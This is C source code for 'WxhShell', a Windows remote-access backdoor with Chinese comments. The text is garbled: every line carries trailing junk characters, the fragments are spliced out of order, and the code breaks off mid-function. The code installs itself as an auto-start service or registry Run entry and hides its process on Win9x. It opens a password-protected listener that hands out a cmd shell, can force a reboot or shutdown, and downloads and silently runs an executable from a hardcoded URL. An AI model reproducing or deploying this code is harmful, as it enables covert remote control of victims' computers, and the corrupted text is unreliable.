  case 'd': { >a?OXqYP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D$Kz9GVZq  
    if(Boot(SHUTDOWN)) y*y`t6D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &NlS  =  
    else { 87&KQ_  
    closesocket(wsh); |E"Xavi>  
    ExitThread(0); }g%KvYB_  
    } _ .-o%6  
    break; u-8X$aJ  
    } "sz.v<F0:s  
  // 获取shell y|FBYcn#F  
  case 's': { v@F|O8t:s  
    CmdShell(wsh); E_ o{c5N  
    closesocket(wsh); %kF TnXHK  
    ExitThread(0); 200L  
    break; +3NlkN#  
  } ./7&_9| <  
  // 退出 }<6oFUZ  
  case 'x': { T][-'0!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bbE bf !E  
    CloseIt(wsh); KyuA5jQ7  
    break; ({D}QEP  
    } <K=@-4/Bp  
  // 离开 Eqz4{\   
  case 'q': { ?|%\<h@;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TBoM{s=.  
    closesocket(wsh); <`oCz Q1  
    WSACleanup(); +Q@/F~1@6@  
    exit(1); EX+={U|ua$  
    break; x`};{oz;  
        } 'd|Q4RE+W  
  } [0mFy) 6  
  } ;zfQ3$@9  
i6meY$l  
  // 提示信息 N#<zEAB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O;"*_Xq(`  
} ~rVKQ-+4&  
  } &4w\6IR  
V6DBKq  
  return; XgwMppacw  
} [u`17hyX  
.g6PrhzFbk  
// shell模块句柄 Pg!;o= { M  
int CmdShell(SOCKET sock) 7yq7a[Ra  
{ LUe>)eqw  
STARTUPINFO si; oTplxF1  
ZeroMemory(&si,sizeof(si)); ``2QOu 1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~8KF<2c   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i6!T`Kau  
PROCESS_INFORMATION ProcessInfo; ::3iXk)  
char cmdline[]="cmd"; Q:-%3)g<<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dz"u8 f  
  return 0; ? 6yF{!F*  
} PV,kYM6  
y V 9]_k  
// 自身启动模式 Z@>=&  
int StartFromService(void) 7- *( a  
{ I]uOMWZs  
typedef struct (<d&BV-"  
{ 'S%} ?#J  
  DWORD ExitStatus; [*Aqy76Qa  
  DWORD PebBaseAddress; Yj^avO=;  
  DWORD AffinityMask; m>Yo 9/XpZ  
  DWORD BasePriority; 7d M6;`V^  
  ULONG UniqueProcessId; &;~2sEo,  
  ULONG InheritedFromUniqueProcessId; X]&;8  
}   PROCESS_BASIC_INFORMATION; RTPq8S"  
ei+9G,  
PROCNTQSIP NtQueryInformationProcess; !]{1h  
uFm(R/V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QoT3;<r}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~RZJ/%6F  
8xD<A|  
  HANDLE             hProcess; 4."o.:8x  
  PROCESS_BASIC_INFORMATION pbi; uI[-P}bSc&  
}rj C_q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #x4h_K Y  
  if(NULL == hInst ) return 0; @dWS*@  
/P?|4D}<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oPBg+Bh*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yKe*<\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &(H)gjH  
%ojR?=ON  
  if (!NtQueryInformationProcess) return 0; -$L],q_S^  
|%2/I>o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =,>TpE  
  if(!hProcess) return 0; 'Ec:l(2Ec  
@~!-a s7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6`s%%v  
v3hQv)j)  
  CloseHandle(hProcess); St~SiTJU  
T~wZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dh!iY0Lz  
if(hProcess==NULL) return 0; k+7M|t.?4  
R$T[%AGZ.  
HMODULE hMod; &k_wqV  
char procName[255]; PcNf TB{  
unsigned long cbNeeded;  ^ :  
[U3D`V$xD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -hU>1ux&V  
{l*&l2  
  CloseHandle(hProcess); ?sjZ13 SUa  
:cmI"Bo  
if(strstr(procName,"services")) return 1; // 以服务启动 cAKoPU>U  
v0hfY   
  return 0; // 注册表启动 }`<>$2b  
} >XXMIz:  
qj3bt_F!x  
// 主模块 Rvu3Qo+  
int StartWxhshell(LPSTR lpCmdLine) ~J. Fl[  
{ Vk N[=0a,  
  SOCKET wsl;   Tk v  
BOOL val=TRUE; }n2-*{)x  
  int port=0; aaqd:N)  
  struct sockaddr_in door; O{i_?V_  
&JXHDpd$a^  
  if(wscfg.ws_autoins) Install(); U>plv  
 Z$#ZYD  
port=atoi(lpCmdLine); g+KzlS[6  
Rbj+P;t&  
if(port<=0) port=wscfg.ws_port; Kt4\&l-De  
CyK$XDHa  
  WSADATA data; XoxR5arj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e`Zg7CaDd  
f5=t*9_-[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?D~SHcBaN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); io+7{B=u$  
  door.sin_family = AF_INET; nnd-pf-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1{Alj27  
  door.sin_port = htons(port); 4_m /_Z0x  
OJ_2z|f<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z1V'NJI+  
closesocket(wsl); z?t(+^  
return 1; ^;k _  
} /c$Ht  
{DXZ}7w:v  
  if(listen(wsl,2) == INVALID_SOCKET) { yu?s5  
closesocket(wsl); "<.  
return 1; 5#9Wd9LP  
} &zh+:TRm  
  Wxhshell(wsl); M9 2~iM  
  WSACleanup(); (E1>}  
Q@ )rw0$  
return 0; -g[*wN8  
)[M<72  
} *liPJ29C[  
0h@%q;g  
// 以NT服务方式启动 0)`lx9&h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @X6#$ex  
{ +&N&D"9A  
DWORD   status = 0; 2gD{Fgf@N  
  DWORD   specificError = 0xfffffff; Bc|x:#`C\{  
a] wcA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; syN b0LR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;&^"q{m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qn"T? O  
  serviceStatus.dwWin32ExitCode     = 0; ;`of'9|  
  serviceStatus.dwServiceSpecificExitCode = 0; ^? {kj{v  
  serviceStatus.dwCheckPoint       = 0; ^n45N&916  
  serviceStatus.dwWaitHint       = 0; ?n9$,-^v  
ma-Y'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pTX'5   
  if (hServiceStatusHandle==0) return; ='bmjXu  
k+R?JWC:  
status = GetLastError(); yxP?O@(  
  if (status!=NO_ERROR) BL5  
{ 5WNg+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tvx8l m '  
    serviceStatus.dwCheckPoint       = 0; (&]15 FJ$1  
    serviceStatus.dwWaitHint       = 0; &G,o guo  
    serviceStatus.dwWin32ExitCode     = status; 6 % y)  
    serviceStatus.dwServiceSpecificExitCode = specificError; vS t=Ax3]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wCTR-pL^  
    return; iBiA0 W  
  } 5B.??;xtaV  
W7[ S7kd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7fzyD  
  serviceStatus.dwCheckPoint       = 0; oJ@PJvmR&a  
  serviceStatus.dwWaitHint       = 0; 9]F&Fz/G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i+x6aQ24  
} [ 6o:v8&3  
q\HBAr y  
// 处理NT服务事件,比如:启动、停止 OO wA{]gK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m',_k Y3  
{ '=b&)HbeK  
switch(fdwControl) -0r "#48(%  
{ E)_!Hi0<s  
case SERVICE_CONTROL_STOP: =+-.5M  
  serviceStatus.dwWin32ExitCode = 0; P[P72WR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; So 6cm|{  
  serviceStatus.dwCheckPoint   = 0; [;#.DH]  
  serviceStatus.dwWaitHint     = 0; %^%-h}1  
  { &CmkNm_B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GN;XB b]w  
  } =i5:*J  
  return; UuqnL{  
case SERVICE_CONTROL_PAUSE: FHcqu_;J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .x$T a l  
  break; /~rO2]rZ@  
case SERVICE_CONTROL_CONTINUE: [pWDhY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *4^]?Y\*  
  break; [<fLPa  
case SERVICE_CONTROL_INTERROGATE: 8'xnhV  
  break; ,0~ {nQj]  
}; 8B t-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fh)`kZDk  
} n03SX aU~V  
Mh.eAM8_  
// 标准应用程序主函数 #DRt Mrfat  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2P=~3g*  
{ ;F(01  
u R%R]X  
// 获取操作系统版本 }0nB' 0|y  
OsIsNt=GetOsVer(); _r5Ild @n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %y\7  
nJ#@W b@  
  // 从命令行安装 E0Y/N?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9la~3L_g  
(dip Ks?K  
  // 下载执行文件 ,h`D(,?X  
if(wscfg.ws_downexe) { t RyGxqiG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6Vzc:8o>  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2,Dc]oj  
} 2b,TkG8K  
`6sQlCOnF  
if(!OsIsNt) { /aa;M*Qp  
// 如果时win9x,隐藏进程并且设置为注册表启动 q.QYn.CBZz  
HideProc(); hPpXB:(-0  
StartWxhshell(lpCmdLine); ;k%sKVP  
} HPdwx V  
else I^Jp )k*z  
  if(StartFromService()) GXK?7S0H  
  // 以服务方式启动 &&S4x  
  StartServiceCtrlDispatcher(DispatchTable); eRy'N|'  
else GWZXRUc  
  // 普通方式启动 ^k<$N  
  StartWxhshell(lpCmdLine); RWQW/Gw x  
 Q<ExfJm  
return 0; QGj5\{E_  
} gq1Y]t|4F  
5nq-b@?L  
uBkn y;  
7 =*k@9  
=========================================== K$GXXE`  
c]R![sa  
3&Rqz9W  
RX\O'Zwlj  
@N{Ht)1r  
!jq6cND  
" 3i}B\ {  
|3@Pt>Ikl  
#include <stdio.h> kj=2+)!E7  
#include <string.h> :|Nbk58  
#include <windows.h> TC#B^m`'p  
#include <winsock2.h> 2U+p@}cQUA  
#include <winsvc.h> Ol[IC  
#include <urlmon.h> <!(n5y_  
CHw_?#h  
#pragma comment (lib, "Ws2_32.lib") 7 ~8Fs@  
#pragma comment (lib, "urlmon.lib") %9Fg1LH42r  
=e/4Gs0*  
#define MAX_USER   100 // 最大客户端连接数 0U*"OSpF  
#define BUF_SOCK   200 // sock buffer O~OWRJ@p  
#define KEY_BUFF   255 // 输入 buffer A3pQ?d[  
@BhAFv,7  
#define REBOOT     0   // 重启 V=MZOj6  
#define SHUTDOWN   1   // 关机 9cj-v}5j  
\^LR5S&  
#define DEF_PORT   5000 // 监听端口 {/!Gh\i  
vkgL"([_  
#define REG_LEN     16   // 注册表键长度 g|_*(=Q  
#define SVC_LEN     80   // NT服务名长度 ?R:Hj=.  
ve^MqW&S  
// 从dll定义API EC#10.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *~^^A9C8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c6)zx b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kxwm08/|f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 97dI4 t<  
YDD]n*&  
// wxhshell配置信息 K!gFD  
struct WSCFG { s7} )4.vO  
  int ws_port;         // 监听端口 -- FtFo  
  char ws_passstr[REG_LEN]; // 口令 ,peE'   
  int ws_autoins;       // 安装标记, 1=yes 0=no C$gLi8|m  
  char ws_regname[REG_LEN]; // 注册表键名 GTNTx5H  
  char ws_svcname[REG_LEN]; // 服务名 OR8o%AxL7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M?u)H&kEl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Sxu v}y\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S]g)^f'a65  
int ws_downexe;       // 下载执行标记, 1=yes 0=no li P{Mu/LO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e,UgTxZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^D[;JV  
i=QhX CM  
}; iUBni&B  
U.(_n  
// default Wxhshell configuration r1atyK  
struct WSCFG wscfg={DEF_PORT, o2jB~}VMl  
    "xuhuanlingzhe", '=* 5C{  
    1, Ft !~w#&-  
    "Wxhshell", 59 Y=VS  
    "Wxhshell", 4]KceE  
            "WxhShell Service", H4Ek,m|c  
    "Wrsky Windows CmdShell Service", L1i> %5:g  
    "Please Input Your Password: ", )D*xOajo+l  
  1, &W!@3O{~.  
  "http://www.wrsky.com/wxhshell.exe", a<.@+sj{  
  "Wxhshell.exe" iNSJOS  
    }; V'/%)oU\"  
\0*LfVr;P  
// 消息定义模块 a $:N9&P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c'R|Wyf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v4aGL<SO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M6!brj\[|  
char *msg_ws_ext="\n\rExit."; So`"z[5  
char *msg_ws_end="\n\rQuit."; M-|2W~YU  
char *msg_ws_boot="\n\rReboot..."; V=~dgy ~@  
char *msg_ws_poff="\n\rShutdown..."; rzLl M  
char *msg_ws_down="\n\rSave to "; mJ7kOQ-.$  
B=`!  
char *msg_ws_err="\n\rErr!"; Yg.u8{H  
char *msg_ws_ok="\n\rOK!"; :tG5~sK  
}3lF;k(2g  
char ExeFile[MAX_PATH]; 69yyVu_  
int nUser = 0; s. [${S6O  
HANDLE handles[MAX_USER]; `,[c??h  
int OsIsNt; -',Y;0b%  
h%S#+t(Bf  
SERVICE_STATUS       serviceStatus; -wRzMT19MG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d*HAKXd&:j  
7Y:s6R|  
// 函数声明 N>Y3[G+  
int Install(void); iwJgU b  
int Uninstall(void); ^)~M,rW8c  
int DownloadFile(char *sURL, SOCKET wsh); 8<!9mgh  
int Boot(int flag); UUq9UV-h  
void HideProc(void); yr'`~[oSCy  
int GetOsVer(void); kq-RM#Dj:  
int Wxhshell(SOCKET wsl); E@KK\m \e  
void TalkWithClient(void *cs); amgex$  
int CmdShell(SOCKET sock); N0C5FSH  
int StartFromService(void); rC16?RovQ@  
int StartWxhshell(LPSTR lpCmdLine); -X \v B  
7F\g3^ z9`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oR)7 \;g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xd<68%Cn  
zu%pr95U  
// 数据结构和表定义 YeJdkt  
SERVICE_TABLE_ENTRY DispatchTable[] = p4 PFoFo2  
{ dD%m=x  
{wscfg.ws_svcname, NTServiceMain}, r%i{a  
{NULL, NULL} eSU8/9B  
}; n3\vq3^?  
QCw<* Id+  
// 自我安装 WAbhB A  
int Install(void) l1 S1CS  
{ K<tg+(3  
  char svExeFile[MAX_PATH]; ]\lw^.%  
  HKEY key; E?uv&evPK7  
  strcpy(svExeFile,ExeFile); CjGI}t  
C2v7(  
// 如果是win9x系统,修改注册表设为自启动 H<"j3qt  
if(!OsIsNt) { _guY%2% yR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (k~c]N)v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +6*I9R  
  RegCloseKey(key); t {}1 f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N}= - +E|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { L5m`-x  
  RegCloseKey(key); /xzL!~g`6<  
  return 0; &#l M$7/  
    } FCPbp!q6  
  } Jo0x/+?,+  
} @ 2_&ti  
else { w[&BY  
-=w.tJD  
// 如果是NT以上系统,安装为系统服务 we9AB_y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JiR|+6"7  
if (schSCManager!=0) l?;S>s*\?  
{ 5Fl|=G+3@g  
  SC_HANDLE schService = CreateService :.,I4>b2  
  ( ghl9gFFj  
  schSCManager, .^23qCs  
  wscfg.ws_svcname, AdNsY/Y(  
  wscfg.ws_svcdisp, @[Th{HTc.G  
  SERVICE_ALL_ACCESS, <PxEl4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QZfnoKz  
  SERVICE_AUTO_START, h! <8=V(  
  SERVICE_ERROR_NORMAL, "x11 YM{F  
  svExeFile, $&!U&uMt  
  NULL, Tp7?:YY|  
  NULL, .(-3L9T}  
  NULL, W=*\4B]  
  NULL, ^BZdR<;  
  NULL sMx\WTyz  
  ); "`k[ 4C  
  if (schService!=0) ]{hfM  
  { ]nh)FMo  
  CloseServiceHandle(schService); uRIr,U^  
  CloseServiceHandle(schSCManager); ]+8,@%="  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e+mD$(h  
  strcat(svExeFile,wscfg.ws_svcname); 809-p_)B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kAoai|m@R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R/W&~t  
  RegCloseKey(key); q3:tZoeXV  
  return 0; !`gg$9  
    } ;g9+*$Gw  
  } ;#due  
  CloseServiceHandle(schSCManager); 1X5\VY>S`h  
} ;k0*@c*  
} fOJyY[  
OX"`VE  
return 1; R+\5hI@ >i  
} };*5+XY^  
]%."  
// 自我卸载 RwE]t$T/  
int Uninstall(void) \3l;PY  
{ ZD/!C9:&.0  
  HKEY key; ;p/@tr9  
Ud](hp"  
if(!OsIsNt) { >\'yj| U,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~BC5no  
  RegDeleteValue(key,wscfg.ws_regname); c1`o3gb  
  RegCloseKey(key); TsQMwV_h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MAXdgL[]  
  RegDeleteValue(key,wscfg.ws_regname); 1\Mcs X4  
  RegCloseKey(key); G9 !1Wzs  
  return 0; }7V/(K  
  } z)26Ahm TV  
} sYz:(hZS  
} xASj w?  
else { xiI!_0'  
y!#1A?|k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Umqm5*P(  
if (schSCManager!=0) #ua#$&p  
{ ?@nu]~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 46vz=# ,6L  
  if (schService!=0) 0ode&dB  
  { C8?/$1|RL  
  if(DeleteService(schService)!=0) { +#W5Qb}VR  
  CloseServiceHandle(schService); #E#70vWp\O  
  CloseServiceHandle(schSCManager); -+L1Hid.7  
  return 0; <AVpFy  
  } W`Soa&9  
  CloseServiceHandle(schService); ZA!vxQ?P,  
  } $j:0*Z=>  
  CloseServiceHandle(schSCManager); JwO+Dd  
} m*'#`vIbb  
} %63<Iz"  
[\!S-:  
return 1; =X`/.:%|[  
} /<})+=>6f  
Zy'bX* s|  
// 从指定url下载文件 ~&pk</Dl  
int DownloadFile(char *sURL, SOCKET wsh) GcKJpI\sB  
{ eaI&DP  
  HRESULT hr; .Ee8s]h5W  
char seps[]= "/"; %>f:m!.  
char *token; csC3Wm{v  
char *file; Z5+0?X0i  
char myURL[MAX_PATH]; ISl'g'o  
char myFILE[MAX_PATH]; a^2?W  
|$D^LY  
strcpy(myURL,sURL); 1}(g=S  
  token=strtok(myURL,seps); -Xj+7}4  
  while(token!=NULL) Z#F2<*+Pe  
  { FOZqN K  
    file=token; ^}WeBU  
  token=strtok(NULL,seps); @g{=f55  
  } u+Li'Ug  
d.{RZq2cp  
GetCurrentDirectory(MAX_PATH,myFILE); &t4j px  
strcat(myFILE, "\\"); mJT7e  
strcat(myFILE, file); ua0k)4|  
  send(wsh,myFILE,strlen(myFILE),0); Sh"} c2  
send(wsh,"...",3,0); w,\Ua&>4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "^u|vCqw  
  if(hr==S_OK) ZXco5,1  
return 0; k -SUp8}g  
else Dr;@)  
return 1; w}'E]y2.  
 ~d }-  
} L<E`~\C'  
bNqjjg  
// 系统电源模块 Abj`0\  
int Boot(int flag) Bdq/Ohw|!  
{ q* m%Fv  
  HANDLE hToken; W2n%D& PE  
  TOKEN_PRIVILEGES tkp; "xh]>_;&'  
W nVX)o  
  if(OsIsNt) { )]/!:I4e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~oOOCB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TfJB;  
    tkp.PrivilegeCount = 1; GE"#.J4z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tnp]wZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rtY0?  
if(flag==REBOOT) { ^*iZN =\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gs-'  
  return 0; aeSXHd?+(  
} N?~K9jGx(  
else { w{0UA6+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;VvqKyUh7`  
  return 0; ~_R=2t{u _  
}  |,.glL  
  } {4#'`Eejj  
  else { WhvO-WF  
if(flag==REBOOT) { `/#6k>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E9 |i:  
  return 0; h8nJ$jg  
} Yh4e\]ql~N  
else { L!5%;!>.P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vK|d P3  
  return 0; >V NMQ  
} xGz$M@f  
} R,tR{| 8  
J7S  
return 1; +f|u5c  
} XO\P4x :c  
+HNQ2YZ  
// win9x进程隐藏模块 4j/8Otn  
void HideProc(void) [Q)lJTs  
{ $NqT ={!  
C#(4>'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V" I+E  
  if ( hKernel != NULL ) QarA.Ne~  
  { Al 0zL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3pm;?6i6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1C:lXx$|  
    FreeLibrary(hKernel); #Jg )HU9  
  } DUa`8cE}  
>?I[dYzut  
return; C7,Ol0`v  
} J8(v65  
U2!9Tl9".  
// 获取操作系统版本 \U,.!'+  
int GetOsVer(void) GYCc)Guc  
{ Ao 1*a%-.  
  OSVERSIONINFO winfo; DaaLRMQ=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]Y:|%rvVH  
  GetVersionEx(&winfo); /)6<`S(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #m|AQr|  
  return 1; 6f0 WN  
  else Q;SMwCB0M  
  return 0; OZ0q6"  
} h@/c76}f6p  
oT.g@kf=H  
// 客户端句柄模块 k_$w+Q  
int Wxhshell(SOCKET wsl) 2,'m]`;GNr  
{ l3-;z)SgH  
  SOCKET wsh; p)d'yj  
  struct sockaddr_in client; S_aml  
  DWORD myID; I%;xMt Y1o  
TDA+ rl  
  while(nUser<MAX_USER) b=.Ikt+y  
{ mM1\s>o  
  int nSize=sizeof(client); f0}+8JW5h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  H 2\KI(  
  if(wsh==INVALID_SOCKET) return 1; d+Pfi)+(I  
KZJ;O7'`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aw {?UvL&  
if(handles[nUser]==0) ;E(%s=i  
  closesocket(wsh); <Sb W QbN  
else h9RG?r1  
  nUser++; vfm |?\  
  } oj[Wzeg%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a";(C ,:0  
&.;tdT7  
  return 0; A)&OR]0[  
} 5q}680s9+  
 g&#.zJ[-  
// 关闭 socket I[G<aI!  
void CloseIt(SOCKET wsh) QVm3(;&'  
{ {088j?[hzk  
closesocket(wsh); m^%[  
nUser--; gVl%:Ra%  
ExitThread(0); D?;$:D"  
} f_7a) 'V4  
+hqsIx  
// 客户端请求句柄 kuqf(  
void TalkWithClient(void *cs) T[;O K  
{ 2VA\{M  
ZFY t[:  
  SOCKET wsh=(SOCKET)cs; .{*V^[.  
  char pwd[SVC_LEN]; 9#xcp/O  
  char cmd[KEY_BUFF]; mn)kd  
char chr[1]; G(EiDo&  
int i,j; SZea[~ &  
8$BZbj%?hx  
  while (nUser < MAX_USER) { ZV$qv=X  
/T!S)FD\/v  
if(wscfg.ws_passstr) { #B_ ``XV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DI"mi1ObE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rku9? zf^  
  //ZeroMemory(pwd,KEY_BUFF); A90o X1l  
      i=0; "(>P=  
  while(i<SVC_LEN) { ,GA2K .:#  
8.ll]3))  
  // 设置超时 udMDE=1~L  
  fd_set FdRead; V \,Z (  
  struct timeval TimeOut; _t_X`  
  FD_ZERO(&FdRead); mvyqCOp 0  
  FD_SET(wsh,&FdRead); _jQ"_Ff  
  TimeOut.tv_sec=8; j ~:Dr   
  TimeOut.tv_usec=0; m$Lq#R={Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }1f@>'o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _ko16wfg  
+'Ec)7m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D9*GS_K2 t  
  pwd=chr[0]; 4N|^Joi  
  if(chr[0]==0xd || chr[0]==0xa) { $z)r(N$  
  pwd=0; qCi6kEr  
  break; %(79;#2`  
  } prV:Kq;O  
  i++; za `  
    } DDsU6RyN  
VPx"l5\  
  // 如果是非法用户,关闭 socket ^F"Q~?D)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mFC0f?nr  
} ggR@& \  
I9-vV>:z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y9F!HM-`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  |W];8  
n [H3b}  
while(1) { :UGc6  
. T6fPEb  
  ZeroMemory(cmd,KEY_BUFF); Pwn"!pk  
5*l~7R  
      // 自动支持客户端 telnet标准   0'{0kE[wn  
  j=0; /f@VRME  
  while(j<KEY_BUFF) { wws)**]J8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l*T> 9yC  
  cmd[j]=chr[0]; </ 3 Shq  
  if(chr[0]==0xa || chr[0]==0xd) { ]([:"j  
  cmd[j]=0; d h#4/Wa,  
  break; rLw3\>y  
  } 8M9 &CsT6  
  j++; j'Z}; 3y  
    } [#S}L(  
H|T!}M>  
  // 下载文件 vtM!?#  
  if(strstr(cmd,"http://")) { @-|{qP=Dy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R}'kF63u*  
  if(DownloadFile(cmd,wsh)) 6Lk<VpAa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [XK Ke  
  else TR/'L!EE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {%.FIw k  
  } _C$JO   
  else { 1bs 8fUPB3  
Rd7Xs  
